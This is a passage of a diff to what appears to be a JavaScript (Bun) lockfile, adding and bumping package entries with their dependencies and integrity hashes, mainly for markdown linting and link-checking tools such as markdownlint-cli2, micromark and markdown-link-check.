"sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="], + "is-decimal": ["is-decimal@2.0.1", "", {}, "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A=="], + "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="], "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="], + "is-hexadecimal": ["is-hexadecimal@2.0.1", "", {}, "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg=="], + "is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="], "is-obj": ["is-obj@2.0.0", "", {}, "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="], + "is-path-inside": ["is-path-inside@4.0.0", "", {}, "sha512-lJJV/5dYS+RcL8uQdBDW9c9uWFLLBNRyFhnAKXw5tVqLlKZ4RMGZKv+YQ/IA3OhD+RpbJa1LLFM1FQPGyIXvOA=="], + "is-plain-obj": ["is-plain-obj@4.1.0", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="], + "is-relative-url": ["is-relative-url@4.1.0", "", { "dependencies": { "is-absolute-url": "^4.0.1" } }, "sha512-vhIXKasjAuxS7n+sdv7pJQykEAgS+YU8VBQOENXwo/VZpOHDgBBsIbHo7zFKaWBjYWF4qxERdhbPRRtFAeJKfg=="], + "jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], - "js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="], + "js-yaml": ["js-yaml@5.2.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.mjs" } }, "sha512-YeLUMlvR4Ou1B119LIaM0r65JvbOBooJDc9yEu0dClb/uSC5P4FrLU8OCCz/HXWvtPoIrR0dRzABTjo1sTN9Bw=="], "json-parse-even-better-errors": ["json-parse-even-better-errors@2.3.1", "", {}, "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="], "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + "jsonc-parser": ["jsonc-parser@3.3.1", "", {}, "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ=="], + + "jsonpointer": ["jsonpointer@5.0.1", "", {}, "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ=="], + + "katex": ["katex@0.16.47", "", { "dependencies": { "commander": "^8.3.0" }, "bin": { "katex": "cli.js" } }, "sha512-Eeo8Ys1doU1z+x8AZsPpQu+p/QcZBI5PeOo7QGQdy2x2m0MU/hYagBbGOmXwr5KVbEfVuWv9LpnQWeehogurjg=="], + "knip": ["knip@5.86.0", "", { "dependencies": { "@nodelib/fs.walk": "^1.2.3", "fast-glob": "^3.3.3", "formatly": "^0.3.0", "jiti": "^2.6.0", "minimist": "^1.2.8", "oxc-resolver": "^11.19.1", "picocolors": "^1.1.1", "picomatch": "^4.0.1", "smol-toml": "^1.5.2", "strip-json-comments": "5.0.3", "unbash": "^2.2.0", "yaml": "^2.8.2", "zod": "^4.1.11" }, "peerDependencies": { "@types/node": ">=18", "typescript": ">=5.0.4 <7" }, "bin": { "knip": "bin/knip.js", "knip-bun": "bin/knip-bun.js" } }, "sha512-tGpRCbP+L+VysXnAp1bHTLQ0k/SdC3M3oX18+Cpiqax1qdS25iuCPzpK8LVmAKARZv0Ijri81Wq09Rzk0JTl+Q=="], "lines-and-columns": ["lines-and-columns@1.2.4", "", {}, "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="], + "link-check": ["link-check@5.5.1", "", { "dependencies": { "is-relative-url": "^4.1.0", "ms": "^2.1.3", "needle": "^3.3.1", "node-email-verifier": "^3.4.1", "proxy-agent": "^6.5.0" } }, "sha512-GrtE4Zp/FBduvElmad375NrPeMYnKwNt9rH/TDG/rbQbHL0QVC4S/cEPVKZ0CkhXlVuiK+/5flGpRxQzoLbjEA=="], + + "linkify-it": ["linkify-it@5.0.2", "", { "dependencies": { "uc.micro": "^2.0.0" } }, "sha512-ONTm2jCMAVZjgQa/Fy1kScXsuOoF5NPTsoFBdE1KVIZ2vAh/r9+Bqo+0jINCBYnavTPQZz38QzFTme79ENoN3Q=="], + "lodash.camelcase": ["lodash.camelcase@4.3.0", "", {}, "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA=="], "lodash.kebabcase": ["lodash.kebabcase@4.1.1", "", {}, "sha512-N8XRTIMMqqDgSy4VLKPnJ/+hpGZN+PHQiJnSenYqPaVV/NCqEogTnAdZLQiGKhxX+JCs8waWq2t1XHWKOmlY8g=="], @@ -355,30 +477,128 @@ "lodash.upperfirst": ["lodash.upperfirst@4.3.1", "", {}, "sha512-sReKOYJIJf74dhJONhU4e0/shzi1trVbSWDOhKYE5XV2O+H7Sb2Dihwuc7xWxVl+DgFPyTqIN3zMfT9cq5iWDg=="], + "lru-cache": ["lru-cache@7.18.3", "", {}, "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA=="], + + "markdown-it": ["markdown-it@14.2.0", "", { "dependencies": { "argparse": "^2.0.1", "entities": "^4.4.0", "linkify-it": "^5.0.1", "mdurl": "^2.0.0", "punycode.js": "^2.3.1", "uc.micro": "^2.1.0" }, "bin": { "markdown-it": "bin/markdown-it.mjs" } }, "sha512-1TGiQiJVRQ3NPmZH6sx5Cfnmg6GQm9jvC1ch4TK511NjSJvjzKLzn5pPfZRNZkRPZP0HqCioSndqH8v2nRaWVQ=="], + + "markdown-link-check": ["markdown-link-check@3.14.2", "", { "dependencies": { "async": "^3.2.6", "chalk": "^5.6.2", "commander": "^14.0.2", "link-check": "^5.5.1", "markdown-link-extractor": "^4.0.3", "needle": "^3.3.1", "progress": "^2.0.3", "proxy-agent": "^6.5.0", "xmlbuilder2": "^4.0.0" }, "bin": { "markdown-link-check": "markdown-link-check" } }, "sha512-DPJ+itd3D5fcfXD5s1i53lugH0Z/h80kkQxlYCBh8tFwEZGhyVgDcLl0rnKlWssAVDAmSmcbePpHpMEY+JcMMQ=="], + + "markdown-link-extractor": ["markdown-link-extractor@4.0.3", "", { "dependencies": { "html-link-extractor": "^1.0.5", "marked": "^17.0.0" } }, "sha512-aEltJiQ4/oC0h6Jbw/uuATGSHZPkcH8DIunNH1A0e+GSFkvZ6BbBkdvBTVfIV8r6HapCU3yTd0eFdi3ZeM1eAQ=="], + + "markdownlint": ["markdownlint@0.41.0", "", { "dependencies": { "micromark": "4.0.2", "micromark-core-commonmark": "2.0.3", "micromark-extension-directive": "4.0.0", "micromark-extension-gfm-autolink-literal": "2.1.0", "micromark-extension-gfm-footnote": "2.1.0", "micromark-extension-gfm-table": "2.1.1", "micromark-extension-math": "3.1.0", "micromark-util-types": "2.0.2", "string-width": "8.2.1" } }, "sha512-xMUI3ChBuRuxuLF4ENvCZyS8z/+Jly1coUcZwErKLIB3sDj7ojpaTBa1e9YVPhSN4jGEIjYGQCldbTJS/hqS+A=="], + + "markdownlint-cli2": ["markdownlint-cli2@0.23.0", "", { "dependencies": { "globby": "16.2.0", "js-yaml": "5.2.0", "jsonc-parser": "3.3.1", "jsonpointer": "5.0.1", "markdown-it": "14.2.0", "markdownlint": "0.41.0", "markdownlint-cli2-formatter-default": "0.0.6", "micromatch": "4.0.8", "smol-toml": "1.7.0" }, "bin": { "markdownlint-cli2": "markdownlint-cli2-bin.mjs" } }, "sha512-1nmgQmU/ZTMRVwYCDs7i1HI3zfBISnT2NNRv+9V01oOLZbAtqL+a7tldpPhBWBVBten3FqhMCGV6EUh9McqutQ=="], + + "markdownlint-cli2-formatter-default": ["markdownlint-cli2-formatter-default@0.0.6", "", { "peerDependencies": { "markdownlint-cli2": ">=0.0.4" } }, "sha512-VVDGKsq9sgzu378swJ0fcHfSicUnMxnL8gnLm/Q4J/xsNJ4e5bA6lvAz7PCzIl0/No0lHyaWdqVD2jotxOSFMQ=="], + + "marked": ["marked@17.0.6", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-gB0gkNafnonOw0obSTEGZTT86IuhILt2Wfx0mWH/1Au83kybTayroZ/V6nS25mN7u8ASy+5fMhgB3XPNrOZdmA=="], + + "mdurl": ["mdurl@2.0.0", "", {}, "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w=="], + "meow": ["meow@12.1.1", "", {}, "sha512-BhXM0Au22RwUneMPwSCnyhTOizdWoIEPU9sp0Aqa1PnDMR5Wv2FGXYDjuzJEIX+Eo2Rb8xuYe5jrnm5QowQFkw=="], "merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="], + "micromark": ["micromark@4.0.2", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA=="], + + "micromark-core-commonmark": ["micromark-core-commonmark@2.0.3", "", { "dependencies": { "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-factory-destination": "^2.0.0", "micromark-factory-label": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-factory-title": "^2.0.0", "micromark-factory-whitespace": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-classify-character": "^2.0.0", "micromark-util-html-tag-name": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg=="], + + "micromark-extension-directive": ["micromark-extension-directive@4.0.0", "", { "dependencies": { "devlop": "^1.0.0", "micromark-factory-space": "^2.0.0", "micromark-factory-whitespace": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "parse-entities": "^4.0.0" } }, "sha512-/C2nqVmXXmiseSSuCdItCMho7ybwwop6RrrRPk0KbOHW21JKoCldC+8rFOaundDoRBUWBnJJcxeA/Kvi34WQXg=="], + + "micromark-extension-gfm-autolink-literal": ["micromark-extension-gfm-autolink-literal@2.1.0", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw=="], + + "micromark-extension-gfm-footnote": ["micromark-extension-gfm-footnote@2.1.0", "", { "dependencies": { "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw=="], + + "micromark-extension-gfm-table": ["micromark-extension-gfm-table@2.1.1", "", { "dependencies": { "devlop": "^1.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg=="], + + "micromark-extension-math": ["micromark-extension-math@3.1.0", "", { "dependencies": { "@types/katex": "^0.16.0", "devlop": "^1.0.0", "katex": "^0.16.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-lvEqd+fHjATVs+2v/8kg9i5Q0AP2k85H0WUOwpIVvUML8BapsMvh1XAogmQjOCsLpoKRCVQqEkQBB3NhVBcsOg=="], + + "micromark-factory-destination": ["micromark-factory-destination@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA=="], + + "micromark-factory-label": ["micromark-factory-label@2.0.1", "", { "dependencies": { "devlop": "^1.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg=="], + + "micromark-factory-space": ["micromark-factory-space@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg=="], + + "micromark-factory-title": ["micromark-factory-title@2.0.1", "", { "dependencies": { "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw=="], + + "micromark-factory-whitespace": ["micromark-factory-whitespace@2.0.1", "", { "dependencies": { "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ=="], + + "micromark-util-character": ["micromark-util-character@2.1.1", "", { "dependencies": { "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q=="], + + "micromark-util-chunked": ["micromark-util-chunked@2.0.1", "", { "dependencies": { "micromark-util-symbol": "^2.0.0" } }, "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA=="], + + "micromark-util-classify-character": ["micromark-util-classify-character@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q=="], + + "micromark-util-combine-extensions": ["micromark-util-combine-extensions@2.0.1", "", { "dependencies": { "micromark-util-chunked": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg=="], + + "micromark-util-decode-numeric-character-reference": ["micromark-util-decode-numeric-character-reference@2.0.2", "", { "dependencies": { "micromark-util-symbol": "^2.0.0" } }, "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw=="], + + "micromark-util-encode": ["micromark-util-encode@2.0.1", "", {}, "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw=="], + + "micromark-util-html-tag-name": ["micromark-util-html-tag-name@2.0.1", "", {}, "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA=="], + + "micromark-util-normalize-identifier": ["micromark-util-normalize-identifier@2.0.1", "", { "dependencies": { "micromark-util-symbol": "^2.0.0" } }, "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q=="], + + "micromark-util-resolve-all": ["micromark-util-resolve-all@2.0.1", "", { "dependencies": { "micromark-util-types": "^2.0.0" } }, "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg=="], + + "micromark-util-sanitize-uri": ["micromark-util-sanitize-uri@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-symbol": "^2.0.0" } }, "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ=="], + + "micromark-util-subtokenize": ["micromark-util-subtokenize@2.1.0", "", { "dependencies": { "devlop": "^1.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA=="], + + "micromark-util-symbol": ["micromark-util-symbol@2.0.1", "", {}, "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q=="], + + "micromark-util-types": ["micromark-util-types@2.0.2", "", {}, "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA=="], + "micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="], "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], + "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], + "mute-stream": ["mute-stream@2.0.0", "", {}, "sha512-WWdIxpyjEn+FhQJQQv9aQAYlHoNVdzIzUySNV1gHUPDSdZJ3yZn7pAAbQcV7B56Mvu881q9FZV+0Vx2xC44VWA=="], "nats": ["nats@2.29.3", "", { "dependencies": { "nkeys.js": "1.1.0" } }, "sha512-tOQCRCwC74DgBTk4pWZ9V45sk4d7peoE2njVprMRCBXrhJ5q5cYM7i6W+Uvw2qUrcfOSnuisrX7bEx3b3Wx4QA=="], + "needle": ["needle@3.5.0", "", { "dependencies": { "iconv-lite": "^0.6.3", "sax": "^1.2.4" }, "bin": { "needle": "bin/needle" } }, "sha512-jaQyPKKk2YokHrEg+vFDYxXIHTCBgiZwSHOoVx/8V3GIBS8/VN6NdVRmg8q1ERtPkMvmOvebsgga4sAj5hls/w=="], + + "netmask": ["netmask@2.1.1", "", {}, "sha512-eonl3sLUha+S1GzTPxychyhnUzKyeQkZ7jLjKrBagJgPla13F+uQ71HgpFefyHgqrjEbCPkDArxYsjY8/+gLKA=="], + "nkeys.js": ["nkeys.js@1.1.0", "", { "dependencies": { "tweetnacl": "1.0.3" } }, "sha512-tB/a0shZL5UZWSwsoeyqfTszONTt4k2YS0tuQioMOD180+MbombYVgzDUYHlx+gejYK6rgf08n/2Df99WY0Sxg=="], + "node-email-verifier": ["node-email-verifier@3.4.1", "", { "dependencies": { "ms": "^2.1.3", "validator": "^13.15.15" } }, "sha512-69JMeWgEUrCji+dOLULirdSoosRxgAq2y+imfmHHBGvgTwyTKqvm65Ls3+W30DCIWMrYj5kKVb/DHTQDK7OVwQ=="], + + "nth-check": ["nth-check@2.1.1", "", { "dependencies": { "boolbase": "^1.0.0" } }, "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w=="], + "oxc-resolver": ["oxc-resolver@11.19.1", "", { "optionalDependencies": { "@oxc-resolver/binding-android-arm-eabi": "11.19.1", "@oxc-resolver/binding-android-arm64": "11.19.1", "@oxc-resolver/binding-darwin-arm64": "11.19.1", "@oxc-resolver/binding-darwin-x64": "11.19.1", "@oxc-resolver/binding-freebsd-x64": "11.19.1", "@oxc-resolver/binding-linux-arm-gnueabihf": "11.19.1", "@oxc-resolver/binding-linux-arm-musleabihf": "11.19.1", "@oxc-resolver/binding-linux-arm64-gnu": "11.19.1", "@oxc-resolver/binding-linux-arm64-musl": "11.19.1", "@oxc-resolver/binding-linux-ppc64-gnu": "11.19.1", "@oxc-resolver/binding-linux-riscv64-gnu": "11.19.1", "@oxc-resolver/binding-linux-riscv64-musl": "11.19.1", "@oxc-resolver/binding-linux-s390x-gnu": "11.19.1", "@oxc-resolver/binding-linux-x64-gnu": "11.19.1", "@oxc-resolver/binding-linux-x64-musl": "11.19.1", "@oxc-resolver/binding-openharmony-arm64": "11.19.1", "@oxc-resolver/binding-wasm32-wasi": "11.19.1", "@oxc-resolver/binding-win32-arm64-msvc": "11.19.1", "@oxc-resolver/binding-win32-ia32-msvc": "11.19.1", "@oxc-resolver/binding-win32-x64-msvc": "11.19.1" } }, "sha512-qE/CIg/spwrTBFt5aKmwe3ifeDdLfA2NESN30E42X/lII5ClF8V7Wt6WIJhcGZjp0/Q+nQ+9vgxGk//xZNX2hg=="], + "pac-proxy-agent": ["pac-proxy-agent@7.2.0", "", { "dependencies": { "@tootallnate/quickjs-emscripten": "^0.23.0", "agent-base": "^7.1.2", "debug": "^4.3.4", "get-uri": "^6.0.1", "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.6", "pac-resolver": "^7.0.1", "socks-proxy-agent": "^8.0.5" } }, "sha512-TEB8ESquiLMc0lV8vcd5Ql/JAKAoyzHFXaStwjkzpOpC5Yv+pIzLfHvjTSdf3vpa2bMiUQrg9i6276yn8666aA=="], + + "pac-resolver": ["pac-resolver@7.0.1", "", { "dependencies": { "degenerator": "^5.0.0", "netmask": "^2.0.2" } }, "sha512-5NPgf87AT2STgwa2ntRMr45jTKrYBGkVU36yT0ig/n/GMAa3oPqhZfIQ2kMEimReg0+t9kZViDVZ83qfVUlckg=="], + "parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="], + "parse-entities": ["parse-entities@4.0.2", "", { "dependencies": { "@types/unist": "^2.0.0", "character-entities-legacy": "^3.0.0", "character-reference-invalid": "^2.0.0", "decode-named-character-reference": "^1.0.0", "is-alphanumerical": "^2.0.0", "is-decimal": "^2.0.0", "is-hexadecimal": "^2.0.0" } }, "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw=="], + "parse-json": ["parse-json@5.2.0", "", { "dependencies": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg=="], + "parse5": ["parse5@7.3.0", "", { "dependencies": { "entities": "^6.0.0" } }, "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw=="], + + "parse5-htmlparser2-tree-adapter": ["parse5-htmlparser2-tree-adapter@7.1.0", "", { "dependencies": { "domhandler": "^5.0.3", "parse5": "^7.0.0" } }, "sha512-ruw5xyKs6lrpo9x9rCZqZZnIUntICjQAd0Wsmp396Ul9lN/h+ifgVV1x1gZHi8euej6wTfpqX8j+BFQxF0NS/g=="], + + "parse5-parser-stream": ["parse5-parser-stream@7.1.2", "", { "dependencies": { "parse5": "^7.0.0" } }, "sha512-JyeQc9iwFLn5TbvvqACIF/VXG6abODeB3Fwmv/TGdLk2LfbWkaySGY72at4+Ty7EkPZj854u4CrICqNk2qIbow=="], + "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], "picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + "progress": ["progress@2.0.3", "", {}, "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA=="], + + "proxy-agent": ["proxy-agent@6.5.0", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "^4.3.4", "http-proxy-agent": "^7.0.1", "https-proxy-agent": "^7.0.6", "lru-cache": "^7.14.1", "pac-proxy-agent": "^7.1.0", "proxy-from-env": 